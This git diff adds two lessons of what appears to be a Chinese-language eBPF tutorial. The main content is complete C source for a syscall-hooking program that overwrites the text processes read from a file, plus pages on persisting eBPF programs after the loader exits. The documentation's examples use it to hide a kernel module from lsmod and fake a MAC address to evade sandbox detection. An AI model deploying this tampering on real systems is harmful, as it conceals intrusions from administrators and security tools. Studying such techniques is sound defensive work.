%,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/27-replace/common.h b/27-replace/common.h new file mode 100644 index 0000000..1fda5c3 --- /dev/null +++ b/27-replace/common.h @@ -0,0 +1,39 @@ +// SPDX-License-Identifier: BSD-3-Clause +#ifndef BAD_BPF_COMMON_H +#define BAD_BPF_COMMON_H + +// These are used by a number of +// different programs to sync eBPF Tail Call +// login between user space and kernel +#define PROG_00 0 +#define PROG_01 1 +#define PROG_02 2 + +// Used when replacing text +#define FILENAME_LEN_MAX 50 +#define TEXT_LEN_MAX 20 + +// Simple message structure to get events from eBPF Programs +// in the kernel to user spcae +#define TASK_COMM_LEN 16 +#define LOCAL_BUFF_SIZE 64 +#define loop_size 64 +#define text_len_max 20 + +struct event { + int pid; + char comm[TASK_COMM_LEN]; + bool success; +}; + +struct tr_file { + char filename[FILENAME_LEN_MAX]; + unsigned int filename_len; +}; + +struct tr_text { + char text[TEXT_LEN_MAX]; + unsigned int text_len; +}; + +#endif // BAD_BPF_COMMON_H diff --git a/27-replace/index.html b/27-replace/index.html new file mode 100644 index 0000000..390dbcd --- /dev/null +++ b/27-replace/index.html @@ -0,0 +1,219 @@ + + + + + + 使用 eBPF 替换任意程序读取或写入的文本 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    使用 eBPF 替换任意程序读取或写入的文本

    +

    编译:

    +
    make
    +
    +

    使用方式:

    +
    sudo ./replace --filename /path/to/file --input foo --replace bar
    +
    +

    这个程序将文件中所有与 input 匹配的文本替换为 replace 文本。 +这有很多用途,例如:

    +

    隐藏内核模块 joydev,避免被如 lsmod 这样的工具发现:

    +
    ./replace -f /proc/modules -i 'joydev' -r 'cryptd'
    +
    +

    伪造 eth0 接口的 MAC 地址:

    +
    ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00'
    +
    +

    恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。

    +

    注意: inputreplace 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 $'\n',例如 --replace $'text\n'

    +

    参考资料

    + + +
    + + +
    +
    + + + +
    + + + + + + + + + + + + + + + + + + +
    + + diff --git a/27-replace/replace.bpf.c b/27-replace/replace.bpf.c new file mode 100644 index 0000000..019b6cf --- /dev/null +++ b/27-replace/replace.bpf.c @@ -0,0 +1,333 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include "vmlinux.h" +#include +#include +#include +#include "common.h" + +char LICENSE[] SEC("license") = "Dual BSD/GPL"; + +// Ringbuffer Map to pass messages from kernel to user +struct { + __uint(type, BPF_MAP_TYPE_RINGBUF); + __uint(max_entries, 256 * 1024); +} rb SEC(".maps"); + +// Map to hold the File Descriptors from 'openat' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, unsigned int); +} map_fds SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, 8192); + __type(key, size_t); + __type(value, long unsigned int); +} map_buff_addrs SEC(".maps"); + +// Map to fold the buffer sized from 'read' calls +// NOTE: This should probably be a map-of-maps, with the top-level +// key bing pid_tgid, so we know we're looking at the right program +#define MAX_POSSIBLE_ADDRS 500 +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_name_addrs SEC(".maps"); +struct { + __uint(type, BPF_MAP_TYPE_ARRAY); + __uint(max_entries, MAX_POSSIBLE_ADDRS); + __type(key, unsigned int); + __type(value, long unsigned int); +} map_to_replace_addrs SEC(".maps"); + +// Map holding the programs for tail calls +struct { + __uint(type, BPF_MAP_TYPE_PROG_ARRAY); + __uint(max_entries, 5); + __type(key, __u32); + __type(value, __u32); +} map_prog_array SEC(".maps"); + +// Optional Target Parent PID +const volatile int target_ppid = 0; + +// These store the name of the file to replace text in +const volatile int filename_len = 0; +const volatile char filename[50]; + +// These store the text to find and replace in the file +const volatile unsigned int text_len = 0; +const volatile char text_find[FILENAME_LEN_MAX]; +const volatile char text_replace[FILENAME_LEN_MAX]; + +SEC("tp/syscalls/sys_exit_close") +int handle_close_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check if we're a process thread of interest + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + + // Closing file, delete fd from all maps to clean up + bpf_map_delete_elem(&map_fds, &pid_tgid); + bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); + + return 0; +} + +SEC("tp/syscalls/sys_enter_openat") +int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) +{ + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + // Check if we're a process thread of interest + // if target_ppid is 0 then we target all pids + if (target_ppid != 0) { + struct task_struct *task = (struct task_struct *)bpf_get_current_task(); + int ppid = BPF_CORE_READ(task, real_parent, tgid); + if (ppid != target_ppid) { + return 0; + } + } + + // Get filename from arguments + char check_filename[FILENAME_LEN_MAX]; + bpf_probe_read_user(&check_filename, filename_len, (char*)ctx->args[1]); + + // Check filename is our target + for (int i = 0; i < filename_len; i++) { + if (filename[i] != check_filename[i]) { + return 0; + } + } + + // Add pid_tgid to map for our sys_exit call + unsigned int zero = 0; + bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); + + bpf_printk("[TEXT_REPLACE] PID %d Filename %s\n", pid, filename); + return 0; +} + +SEC("tp/syscalls/sys_exit_openat") +int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (check == 0) { + return 0; + } + int pid = pid_tgid >> 32; + + // Set the map value to be the returned file descriptor + unsigned int fd = (unsigned int)ctx->ret; + bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); + + return 0; +} + +SEC("tp/syscalls/sys_enter_read") +int handle_read_enter(struct trace_event_raw_sys_enter *ctx) +{ + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + int pid = pid_tgid >> 32; + unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); + if (pfd == 0) { + return 0; + } + + // Check this is the correct file descriptor + unsigned int map_fd = *pfd; + unsigned int fd = (unsigned int)ctx->args[0]; + if (map_fd != fd) { + return 0; + } + + // Store buffer address from arguments in map + long unsigned int buff_addr = ctx->args[1]; + bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); + + // log and exit + size_t buff_size = (size_t)ctx->args[2]; + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_addr 0x%lx\n", pid, fd, buff_addr); + bpf_printk("[TEXT_REPLACE] PID %d | fd %d | buff_size %lu\n", pid, fd, buff_size); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int find_possible_addrs(struct trace_event_raw_sys_exit *ctx) +{ + // Check this open call is reading our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int buff_addr = *pbuff_addr; + long unsigned int name_addr = 0; + if (buff_addr <= 0) { + return 0; + } + + // This is amount of data returned from the read syscall + if (ctx->ret <= 0) { + return 0; + } + long int buff_size = ctx->ret; + unsigned long int read_size = buff_size; + + bpf_printk("[TEXT_REPLACE] PID %d | read_size %lu | buff_addr 0x%lx\n", pid, read_size, buff_addr); + // 64 may be to large for loop + char local_buff[LOCAL_BUFF_SIZE] = { 0x00 }; + + if (read_size > (LOCAL_BUFF_SIZE+1)) { + // Need to loop :-( + read_size = LOCAL_BUFF_SIZE; + } + + // Read the data returned in chunks, and note every instance + // of the first character of our 'to find' text. + // This is all very convoluted, but is required to keep + // the program complexity and size low enough the pass the verifier checks + unsigned int tofind_counter = 0; + for (unsigned int i = 0; i < loop_size; i++) { + // Read in chunks from buffer + bpf_probe_read(&local_buff, read_size, (void*)buff_addr); + for (unsigned int j = 0; j < LOCAL_BUFF_SIZE; j++) { + // Look for the first char of our 'to find' text + if (local_buff[j] == text_find[0]) { + name_addr = buff_addr+j; + // This is possibly out text, add the address to the map to be + // checked by program 'check_possible_addrs' + bpf_map_update_elem(&map_name_addrs, &tofind_counter, &name_addr, BPF_ANY); + tofind_counter++; + } + } + + buff_addr += LOCAL_BUFF_SIZE; + } + + // Tail-call into 'check_possible_addrs' to loop over possible addresses + bpf_printk("[TEXT_REPLACE] PID %d | tofind_counter %d \n", pid, tofind_counter); + + bpf_tail_call(ctx, &map_prog_array, PROG_01); + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int check_possible_addresses(struct trace_event_raw_sys_exit *ctx) { + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int newline_counter = 0; + unsigned int match_counter = 0; + + char name[text_len_max+1]; + unsigned int j = 0; + char old = 0; + const unsigned int name_len = text_len; + if (name_len < 0) { + return 0; + } + if (name_len > text_len_max) { + return 0; + } + // Go over every possibly location + // and check if it really does match our text + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + newline_counter = i; + pName_addr = bpf_map_lookup_elem(&map_name_addrs, &newline_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + bpf_probe_read_user(&name, text_len_max, (char*)name_addr); + // for (j = 0; j < text_len_max; j++) { + // if (name[j] != text_find[j]) { + // break; + // } + // } + // we can use bpf_strncmp here, but it's not available in the kernel version older + if (bpf_strncmp(name, text_len_max, (const char *)text_find) == 0) { + // *********** + // We've found out text! + // Add location to map to be overwritten + // *********** + bpf_map_update_elem(&map_to_replace_addrs, &match_counter, &name_addr, BPF_ANY); + match_counter++; + } + bpf_map_delete_elem(&map_name_addrs, &newline_counter); + } + + // If we found at least one match, jump into program to overwrite text + if (match_counter > 0) { + bpf_tail_call(ctx, &map_prog_array, PROG_02); + } + return 0; +} + +SEC("tp/syscalls/sys_exit_read") +int overwrite_addresses(struct trace_event_raw_sys_exit *ctx) { + // Check this open call is opening our target file + size_t pid_tgid = bpf_get_current_pid_tgid(); + long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); + if (pbuff_addr == 0) { + return 0; + } + int pid = pid_tgid >> 32; + long unsigned int* pName_addr = 0; + long unsigned int name_addr = 0; + unsigned int match_counter = 0; + + // Loop over every address to replace text into + for (unsigned int i = 0; i < MAX_POSSIBLE_ADDRS; i++) { + match_counter = i; + pName_addr = bpf_map_lookup_elem(&map_to_replace_addrs, &match_counter); + if (pName_addr == 0) { + break; + } + name_addr = *pName_addr; + if (name_addr == 0) { + break; + } + + // Attempt to overwrite data with out replace string (minus the end null bytes) + long ret = bpf_probe_write_user((void*)name_addr, (void*)text_replace, text_len); + // Send event + struct event *e; + e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); + if (e) { + e->success = (ret == 0); + e->pid = pid; + bpf_get_current_comm(&e->comm, sizeof(e->comm)); + bpf_ringbuf_submit(e, 0); + } + bpf_printk("[TEXT_REPLACE] PID %d | [*] replaced: %s\n", pid, text_find); + + // Clean up map now we're done + bpf_map_delete_elem(&map_to_replace_addrs, &match_counter); + } + + return 0; +} diff --git a/27-replace/replace.c b/27-replace/replace.c new file mode 100644 index 0000000..4e139e1 --- /dev/null +++ b/27-replace/replace.c @@ -0,0 +1,269 @@ +// SPDX-License-Identifier: BSD-3-Clause +#include +#include +#include "replace.skel.h" +#include "common.h" + + +#include +#include +#include +#include +#include +#include +#include + +static volatile sig_atomic_t exiting; + +void sig_int(int signo) +{ + exiting = 1; +} + +static bool setup_sig_handler() { + // Add handlers for SIGINT and SIGTERM so we shutdown cleanly + __sighandler_t sighandler = signal(SIGINT, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + sighandler = signal(SIGTERM, sig_int); + if (sighandler == SIG_ERR) { + fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); + return false; + } + return true; +} + +static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) +{ + return vfprintf(stderr, format, args); +} + +static bool bump_memlock_rlimit(void) +{ + struct rlimit rlim_new = { + .rlim_cur = RLIM_INFINITY, + .rlim_max = RLIM_INFINITY, + }; + + if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { + fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); + return false; + } + return true; +} + + +static bool setup() { + // Set up libbpf errors and debug info callback + libbpf_set_print(libbpf_print_fn); + + // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything + if (!bump_memlock_rlimit()) { + return false; + }; + + // Setup signal handler so we exit cleanly + if (!setup_sig_handler()) { + return false; + } + + return true; +} + +// Setup Argument stuff +#define filename_len_max 50 +#define text_len_max 20 +static struct env { + char filename[filename_len_max]; + char input[filename_len_max]; + char replace[filename_len_max]; + int target_ppid; +} env; + +const char *argp_program_version = "textreplace 1.0"; +const char *argp_program_bug_address = ""; +const char argp_program_doc[] = +"Text Replace\n" +"\n" +"Replaces text in a file.\n" +"To pass in newlines use \%'\\n' e.g.:\n" +" ./textreplace -f /proc/modules -i ppdev -r $'aaaa\\n'" +"\n" +"USAGE: ./textreplace -f filename -i input -r output [-t 1111]\n" +"EXAMPLES:\n" +"Hide kernel module:\n" +" ./textreplace -f /proc/modules -i 'joydev' -r 'cryptd'\n" +"Fake Ethernet adapter (used in sandbox detection): \n" +" ./textreplace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' \n" +""; + +static const struct argp_option opts[] = { + { "filename", 'f', "FILENAME", 0, "Path to file to replace text in" }, + { "input", 'i', "INPUT", 0, "Text to be replaced in file, max 20 chars" }, + { "replace", 'r', "REPLACE", 0, "Text to replace with in file, must be same size as -t" }, + { "target-ppid", 't', "PPID", 0, "Optional Parent PID, will only affect its children." }, + {}, +}; +static error_t parse_arg(int key, char *arg, struct argp_state *state) +{ + switch (key) { + case 'i': + if (strlen(arg) >= text_len_max) { + fprintf(stderr, "Text must be less than %d characters\n", filename_len_max); + argp_usage(state); + } + strncpy(env.input, arg, sizeof(env.input)); + break; + case 'r': + if (strlen(arg) >= text_len_max) { + fprintf(stderr, "Text must be less than %d characters\n", filename_len_max); + argp_usage(state); + } + strncpy(env.replace, arg, sizeof(env.replace)); + break; + case 'f': + if (strlen(arg) >= filename_len_max) { + fprintf(stderr, "Filename must be less than %d characters\n", filename_len_max); + argp_usage(state); + } + strncpy(env.filename, arg, sizeof(env.filename)); + break; + case 't': + errno = 0; + env.target_ppid = strtol(arg, NULL, 10); + if (errno || env.target_ppid <= 0) { + fprintf(stderr, "Invalid pid: %s\n", arg); + argp_usage(state); + } + break; + case ARGP_KEY_ARG: + argp_usage(state); + break; + default: + return ARGP_ERR_UNKNOWN; + } + return 0; +} +static const struct argp argp = { + .options = opts, + .parser = parse_arg, + .doc = argp_program_doc, +}; + +static int handle_event(void *ctx, void *data, size_t data_sz) +{ + const struct event *e = data; + if (e->success) + printf("Replaced text in PID %d (%s)\n", e->pid, e->comm); + else + printf("Failed to replace text in PID %d (%s)\n", e->pid, e->comm); + return 0; +} + +int main(int argc, char **argv) +{ + struct ring_buffer *rb = NULL; + struct replace_bpf *skel; + int err; + + // Parse command line arguments + err = argp_parse(&argp, argc, argv, 0, NULL, NULL); + if (err) { + return err; + } + if (env.filename[0] == '\x00' || env.input[0] == '\x00' || env.replace[0] == '\x00') { + printf("ERROR: filename, input, and replace all requried, see %s --help\n", argv[0]); + exit(1); + } + if (strlen(env.input) != strlen(env.replace)) { + printf("ERROR: input and replace text must be the same length\n"); + exit(1); + } + + // Do common setup + if (!setup()) { + exit(1); + } + + // Open BPF application + skel = replace_bpf__open(); + if (!skel) { + fprintf(stderr, "Failed to open BPF program: %s\n", strerror(errno)); + return 1; + } + + // Let bpf program know our pid so we don't get kiled by it + strncpy(skel->rodata->filename, env.filename, sizeof(skel->rodata->filename)); + skel->rodata->filename_len = strlen(env.filename); + skel->rodata->target_ppid = env.target_ppid; + + strncpy(skel->rodata->text_find, env.input, sizeof(skel->rodata->text_find)); + strncpy(skel->rodata->text_replace, env.replace, sizeof(skel->rodata->text_replace)); + skel->rodata->text_len = strlen(env.input); + + // Verify and load program + err = replace_bpf__load(skel); + if (err) { + fprintf(stderr, "Failed to load and verify BPF skeleton\n"); + goto cleanup; + } + + // Add program to map so we can call it later + int index = PROG_01; + int prog_fd = bpf_program__fd(skel->progs.check_possible_addresses); + int ret = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (ret == -1) { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + index = PROG_02; + prog_fd = bpf_program__fd(skel->progs.overwrite_addresses); + ret = bpf_map_update_elem( + bpf_map__fd(skel->maps.map_prog_array), + &index, + &prog_fd, + BPF_ANY); + if (ret == -1) { + printf("Failed to add program to prog array! %s\n", strerror(errno)); + goto cleanup; + } + + // Attach tracepoint handler + err = replace_bpf__attach( skel); + if (err) { + fprintf(stderr, "Failed to attach BPF program: %s\n", strerror(errno)); + goto cleanup; + } + + // Set up ring buffer + rb = ring_buffer__new(bpf_map__fd( skel->maps.rb), handle_event, NULL, NULL); + if (!rb) { + err = -1; + fprintf(stderr, "Failed to create ring buffer\n"); + goto cleanup; + } + + printf("Successfully started!\n"); + while (!exiting) { + err = ring_buffer__poll(rb, 100 /* timeout, ms */); + /* Ctrl-C will cause -EINTR */ + if (err == -EINTR) { + err = 0; + break; + } + if (err < 0) { + printf("Error polling perf buffer: %d\n", err); + break; + } + } + +cleanup: + replace_bpf__destroy( skel); + return -err; +} diff --git a/28-detach/.gitignore b/28-detach/.gitignore new file mode 100644 index 0000000..81acd4b --- /dev/null +++ b/28-detach/.gitignore @@ -0,0 +1,9 @@ +.vscode +package.json +*.o +*.skel.json +*.skel.yaml +package.yaml +ecli +bootstrap +textreplace2 diff --git a/28-detach/LICENSE b/28-detach/LICENSE new file mode 100644 index 0000000..47fc3a4 --- /dev/null +++ b/28-detach/LICENSE @@ -0,0 +1,29 @@ +BSD 3-Clause License + +Copyright (c) 2020, Andrii Nakryiko +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +1. Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +3. Neither the name of the copyright holder nor the names of its + contributors may be used to endorse or promote products derived from + this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/28-detach/Makefile b/28-detach/Makefile new file mode 100644 index 0000000..ecfd9e1 --- /dev/null +++ b/28-detach/Makefile @@ -0,0 +1,141 @@ +# SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) +OUTPUT := .output +CLANG ?= clang +LIBBPF_SRC := $(abspath ../../libbpf/src) +BPFTOOL_SRC := $(abspath ../../bpftool/src) +LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) +BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) +BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool +LIBBLAZESYM_SRC := $(abspath ../../blazesym/) +LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) +LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) +ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ + | sed 's/arm.*/arm/' \ + | sed 's/aarch64/arm64/' \ + | sed 's/ppc64le/powerpc/' \ + | sed 's/mips.*/mips/' \ + | sed 's/riscv64/riscv/' \ + | sed 's/loongarch64/loongarch/') +VMLINUX := ../../vmlinux/$(ARCH)/vmlinux.h +# Use our own libbpf API headers and Linux UAPI headers distributed with +# libbpf to avoid dependency on system-wide headers, which could be missing or +# outdated +INCLUDES := -I$(OUTPUT) -I../../libbpf/include/uapi -I$(dir $(VMLINUX)) +CFLAGS := -g -Wall +ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) + +APPS = textreplace2 # minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall + +CARGO ?= $(shell which cargo) +ifeq ($(strip $(CARGO)),) +BZS_APPS := +else +BZS_APPS := # profile +APPS += $(BZS_APPS) +# Required by libblazesym +ALL_LDFLAGS += -lrt -ldl -lpthread -lm +endif + +# Get Clang's default includes on this system. We'll explicitly add these dirs +# to the includes list when compiling with `-target bpf` because otherwise some +# architecture-specific dirs will be "missing" on some architectures/distros - +# headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, +# sys/cdefs.h etc. might be missing. +# +# Use '-idirafter': Don't interfere with include mechanics except where the +# build would have failed anyways. +CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ + | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') + +ifeq ($(V),1) + Q = + msg = +else + Q = @ + msg = @printf ' %-8s %s%s\n' \ + "$(1)" \ + "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ + "$(if $(3), $(3))"; + MAKEFLAGS += --no-print-directory +endif + +define allow-override + $(if $(or $(findstring environment,$(origin $(1))),\ + $(findstring command line,$(origin $(1)))),,\ + $(eval $(1) = $(2))) +endef + +$(call allow-override,CC,$(CROSS_COMPILE)cc) +$(call allow-override,LD,$(CROSS_COMPILE)ld) + +.PHONY: all +all: $(APPS) + +.PHONY: clean +clean: + $(call msg,CLEAN) + $(Q)rm -rf $(OUTPUT) $(APPS) + +$(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): + $(call msg,MKDIR,$@) + $(Q)mkdir -p $@ + +# Build libbpf +$(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf + $(call msg,LIB,$@) + $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ + OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ + INCLUDEDIR= LIBDIR= UAPIDIR= \ + install + +# Build bpftool +$(BPFTOOL): | $(BPFTOOL_OUTPUT) + $(call msg,BPFTOOL,$@) + $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap + + +$(LIBBLAZESYM_SRC)/target/release/libblazesym.a:: + $(Q)cd $(LIBBLAZESYM_SRC) && $(CARGO) build --features=cheader,dont-generate-test-files --release + +$(LIBBLAZESYM_OBJ): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB, $@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/libblazesym.a $@ + +$(LIBBLAZESYM_HEADER): $(LIBBLAZESYM_SRC)/target/release/libblazesym.a | $(OUTPUT) + $(call msg,LIB,$@) + $(Q)cp $(LIBBLAZESYM_SRC)/target/release/blazesym.h $@ + +# Build BPF code +$(OUTPUT)/%.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) + $(call msg,BPF,$@) + $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ + $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ + -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) + +# Generate BPF skeletons +$(OUTPUT)/%.skel.h: $(OUTPUT)/%.bpf.o | $(OUTPUT) $(BPFTOOL) + $(call msg,GEN-SKEL,$@) + $(Q)$(BPFTOOL) gen skeleton $< > $@ + +# Build user-space code +$(patsubst %,$(OUTPUT)/%.o,$(APPS)): %.o: %.skel.h + +$(OUTPUT)/%.o: %.c $(wildcard %.h) | $(OUTPUT) + $(call msg,CC,$@) + $(Q)$(CC) $(CFLAGS) $(INCLUDES) -c $(filter %.c,$^) -o $@ + +$(patsubst %,$(OUTPUT)/%.o,$(BZS_APPS)): $(LIBBLAZESYM_HEADER) + +$(BZS_APPS): $(LIBBLAZESYM_OBJ) + +# Build application binary +$(APPS): %: $(OUTPUT)/%.o $(LIBBPF_OBJ) | $(OUTPUT) + $(call msg,BINARY,$@) + $(Q)$(CC) $(CFLAGS) $^ $(ALL_LDFLAGS) -lelf -lz -o $@ + +# delete failed targets +.DELETE_ON_ERROR: + +# keep intermediate (.skel.h, .bpf.o, etc) targets +.SECONDARY: diff --git a/28-detach/index.html b/28-detach/index.html new file mode 100644 index 0000000..aba2c30 --- /dev/null +++ b/28-detach/index.html @@ -0,0 +1,232 @@ + + + + + + BPF的生命周期:使用 Detached 模式在用户态应用退出后持续运行 eBPF 程序 - bpf-developer-tutorial + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + +
    +
    +

    在用户态应用退出后运行 eBPF 程序:eBPF 程序的生命周期

    +

    通过使用 detach 的方式运行 eBPF 程序,用户空间加载器可以退出,而不会停止 eBPF 程序。

    +

    eBPF 程序的生命周期

    +

    首先,我们需要了解一些关键的概念,如 BPF 对象(包括程序,地图和调试信息),文件描述符 (FD),引用计数(refcnt)等。在 eBPF 系统中,用户空间通过文件描述符访问 BPF 对象,而每个对象都有一个引用计数。当一个对象被创建时,其引用计数初始为1。如果该对象不再被使用(即没有其他程序或文件描述符引用它),它的引用计数将降至0,并在 RCU 宽限期后被内存清理。

    +

    接下来,我们需要了解 eBPF 程序的生命周期。首先,当你创建一个 BPF 程序,并将它连接到某个“钩子”(例如网络接口,系统调用等),它的引用计数会增加。然后,即使原始创建和加载该程序的用户空间进程退出,只要 BPF 程序的引用计数大于 0,它就会保持活动状态。然而,这个过程中有一个重要的点是:不是所有的钩子都是相等的。有些钩子是全局的,比如 XDP、tc's clsact 和 cgroup-based 钩子。这些全局钩子会一直保持 BPF 程序的活动状态,直到这些对象自身消失。而有些钩子是局部的,只在拥有它们的进程存活期间运行。

    +

    对于 BPF 对象(程序或映射)的生命周期管理,另一个关键的操作是“分离”(detach)。这个操作会阻止已附加程序的任何未来执行。然后,对于需要替换 BPF 程序的情况,你可以使用替换(replace)操作。这是一个复杂的过程,因为你需要确保在替换过程中,不会丢失正在处理的事件,而且新旧程序可能在不同的 CPU 上同时运行。

    +

    最后,除了通过文件描述符和引用计数来管理 BPF 对象的生命周期,还有一个叫做 BPFFS 的方法,也就是“BPF 文件系统”。用户空间进程可以在 BPFFS 中“固定”(pin)一个 BPF 程序或映射,这将增加对象的引用计数,使得即使 BPF 程序未附加到任何地方或 BPF 映射未被任何程序使用,该 BPF 对象也将保持活动状态。

    +

    所以,当我们谈论在后台运行 eBPF 程序时,我们需要清楚这个过程的含义。在某些情况下,即使用户空间进程已经退出,我们可能还希望 BPF 程序保持运行。这就需要我们正确地管理 BPF 对象的生命周期

    +

    运行

    +

    这里还是采用了上一个的字符串替换的应用,来体现对应可能的安全风险。通过使用 --detach 运行程序,用户空间加载器可以退出,而不会停止 eBPF 程序。

    +

    编译:

    +
    make
    +
    +

    在运行前,请首先确保 bpf 文件系统已经被挂载:

    +
    sudo mount bpffs -t bpf /sys/fs/bpf
    +mkdir /sys/fs/bpf/textreplace
